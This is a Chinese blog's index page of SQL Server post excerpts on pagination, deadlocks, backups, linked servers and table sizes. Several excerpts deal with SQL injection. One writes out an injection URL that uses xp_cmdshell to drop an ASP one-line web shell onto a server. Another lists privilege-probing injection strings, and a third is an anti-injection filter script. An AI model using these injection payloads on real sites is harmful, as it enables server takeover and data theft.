sql 还能这样写
摘要:with o as (select orderid,ISNULL(UTaxRate,0) AS UTaxRatefrom [order] (nolock)where sourceid not in (21,22)), l as (select o.orderid,oit.orderlineitemid,cast(o.UTaxRate as decimal(10,8)) as UTaxRate,cast(ISNULL(oit.TaxRate,0) as decimal(10,8)) as LineRatefrom ojoin dbo.Order_Line_Item oi (nolock)on o
阅读全文
posted @
2011-02-17 11:04
西湖浪子
阅读(138)
推荐(0)
安装sql2000: 出现 A previous program installation created pending file operations on the installation machine. You must ....
摘要:安装sql2000: 出现 A previous program installation created pending file operations on the installation machine. You must restart the computer before running setup 在安装sql2000会出现这个错误提示. 解决方法: 删除注册表信息: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ 在右边的窗口中,把PendingFileRenameOperations
阅读全文
posted @
2010-12-20 11:15
西湖浪子
阅读(237)
推荐(0)
防注入脚本
摘要:<% Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Ts,Fy_Zx '---Defind the error handling method------ Fy_Zx = "index.Asp" 'Forward URL '---end header------ On Error Resume Next Fy_Url=Request.ServerVariables("QUE...
阅读全文
posted @
2010-04-11 19:11
西湖浪子
阅读(150)
推荐(0)
常用注入 写程序需要注意的
摘要:1、用^转义字符来写ASP(一句话木马)文件的方法:?http://192.168.1.5/display.asp?keyno=1881;execmaster.dbo.xp_cmdshell'echo^<scriptlanguage=VBScriptrunat=server^>executerequest^("l"^)^</script^>>c:\mu.asp';--...
阅读全文
posted @
2010-04-11 18:17
西湖浪子
阅读(309)
推荐(0)
一些注入命令
摘要:我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!//看看是什么权限的and1=(SelectIS_MEMBER('db_owner'))Andchar(124)%2BCast(IS_MEMBER('db_owner')asvarchar(1))%2Bchar(124)=1;--//检测是否有读取某数据库的权限and1=(SelectHAS_DBACCES...
阅读全文
posted @
2010-04-11 18:12
西湖浪子
阅读(160)
推荐(0)
Link Server的语法
摘要:近日,因项目需要通过配置文件从一台Oracle dw 以及一台SQL SERVER 2005的服务器中每天定时查询数据并且将所查询数据写回项目中所创建的数据库中的几个表中,今天稍微整理了一下:1.Oracle SELECT * FROM OPENQUERY('LinkServer Name','查询语句')这就是一条简单的SQL语句查询语句可以是这样:SELECT * FROM 用户名(schem...
阅读全文
posted @
2010-03-31 20:49
西湖浪子
阅读(209)
推荐(0)
经过优化测试的SQL分页存储过程
摘要:建立一个 Web 应用,分页浏览功能必不可少。这个问题是数据库处理中十分常见的问题。经典的数据分页方法是:ADO 纪录集分页法,也就是利用ADO自带的分页功能(利用游标)来实现分页。但这种分页方法仅适用于较小数据量的情形,因为游标本身有缺点:游标是存放在内存中,很费内存。游标一建立,就将相关的记录锁住,直到取消游标。游标提供了对特定集合中逐行扫描的手段,一般使用游标来逐行遍历数据,根据取出数据条件...
阅读全文
posted @
2009-11-25 13:19
西湖浪子
阅读(176)
推荐(0)
生成自己想要的sql语句
摘要:System.Data.SqlClient.SqlConnection con = new System.Data.SqlClient.SqlConnection(); con.ConnectionString="Data Source=1111111;Initial Catalog=1111111;Persist Security Info=True;User ID=sa;Password=sa"; con.Open(); System.Data.SqlClient.SqlDataAdapter adp = new System.Data.SqlClient.SqlDat
阅读全文
posted @
2009-10-19 17:14
西湖浪子
阅读(146)
推荐(0)
处理死锁
摘要:sp_who active --看看哪个引起的阻塞,blk sp_lock --看看锁住了那个资源id,objid ,select object_name(objid) 得到 dbcc inputbuffer(@blk) -- 看看是那个语句 /*--处理死锁 查看当前进程,或死锁进程,并能自动杀掉死进程 因为是针对死的,所以如果有死锁进程,只能查看死锁进程 当然,你可以通过参数控制,...
阅读全文
posted @
2009-02-13 16:07
西湖浪子
阅读(221)
推荐(0)
把某个表的数据导出成insert语句(数据导出 insert语句)
摘要:IF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[proc_insert]') AND type in (N'P', N'PC')) DROP PROCEDURE [dbo].[proc_insert] GO create proc [dbo].[proc_insert] (@tablename...
阅读全文
posted @
2009-01-26 23:35
西湖浪子
阅读(551)
推荐(0)
行列互转_整理贴[转]
摘要:--行列互转 /****************************************************************************************************************************************************** 以学生成绩为例子,比较形象易懂 整理人:中国风(Roy) 日期:2008.06...
阅读全文
posted @
2009-01-14 15:21
西湖浪子
阅读(139)
推荐(0)
如何给sql瘦身
摘要:删除数据之后,压缩日志及数据库文件大小 /*--特别注意 请按步骤进行,未进行前面的步骤,请不要做后面的步骤 否则可能损坏你的数据库. 一般不建议做第4,6两步 第4步不安全,有可能损坏数据库或丢失数据 第6步如果日志达到上限,则以后的数据库处理会失败,在清理日志后才能恢复. --*/ ...
阅读全文
posted @
2008-12-17 21:21
西湖浪子
阅读(924)
推荐(0)
如何创建系统类型的存储过程
摘要:首先,将存储过程的名字以sp_开头命名(当然也必须是dbo的) 然后,使用sp_MS_marksystemobject 把你的存储过程标记为MS-shipped即可 如:sp_MS_marksystemobject '你的存储过程名称'
阅读全文
posted @
2008-09-29 22:32
西湖浪子
阅读(190)
推荐(0)
从文本文件拉数据到数据库表 sql脚本
摘要:3550B,RMBattery,Quanta, 3550B,RMBattery,Quanta, 3550B,RMBattery,Quanta, truncate table HPSWAN_tbl_CT BULK INSERT dbo.HPSWAN_tbl_CT FROM 'C:\Inetpub\wwwroot\HPSWAN\Dynapack Rome Quanta.txt' WITH (...
阅读全文
posted @
2008-08-29 12:59
西湖浪子
阅读(147)
推荐(0)
MiniAcces Editor1.0part2 Access SQL脚本编写器
摘要:MiniAcces Editor1.0part2 Access SQL脚本编写器(V37 Acp Code) "" then enMode=clng(enMode) if enMode=0 then ExtName=".Sql" else ExtName=".Asp" end if Call openDB(DB_Name) Call C...
阅读全文
posted @
2008-08-29 12:37
西湖浪子
阅读(353)
推荐(0)
MS SQL数据库备份和恢复存储过程
摘要:if exists( select * from sysobjects where name=''''''''pr_backup_db'''''''' and xtype=''''''''p'''''''' ) begin drop proc pr_backup_db end go /*备份数据库*/ create proc pr_backu
阅读全文
posted @
2008-04-20 23:11
西湖浪子
阅读(178)
推荐(0)
查询数据库从来没有被用过的列
摘要:原创:西湖浪子 时间:2008-03-05 Create table #AllTableNullColumn(Tablename varchar(50) null,NullColumn varchar(50) null) Drop table #AllTableNullColumn Declare @tablelist varchar(8000) set @tablelist='' select...
阅读全文
posted @
2008-03-05 17:40
西湖浪子
阅读(171)
推荐(0)
怎樣查看一個數據庫中所有用戶表的大小和它的索引的大小
摘要:--用下面这个就行啦. --得到数据库中所有表的空间/记录情况 create table #tb(表名 sysname,记录数 int ,保留空间 varchar(10),使用空间 varchar(10) ,索引使用空间 varchar(10),未用空间 varchar(10)) insert into #tb exec sp_MSForEachTable 'EXEC sp_spa...
阅读全文
posted @
2008-02-28 17:27
西湖浪子
阅读(786)
推荐(0)
SQL Server2005性能调优(简化翻译版)
摘要:名次解释 DMVs:dynamic management views 三个点 · 资源瓶颈: CPU、内存、I/O(这里面不考虑网络问题) · Tempdb瓶颈: · User query瓶颈,可能是统计信息的变化、不恰当的索引、阻塞或者死锁等 上述三点,可能是相互影响的。 资源瓶颈 工具 1. System Monitor (PerfMon):win...
阅读全文
posted @
2008-02-28 17:15
西湖浪子
阅读(358)
推荐(0)
角色权限设计
摘要:关于权限设置功能 这里主要用到五张表. table1 [application](applicationid,application name) 功能表 table2 [role](roleid,rolename) 角色表 table3[application_rol][roleid,applicationid,flag]角色功能关联表 table4[user][userid,user name...
阅读全文
posted @
2007-11-13 23:01
西湖浪子
阅读(315)
推荐(0)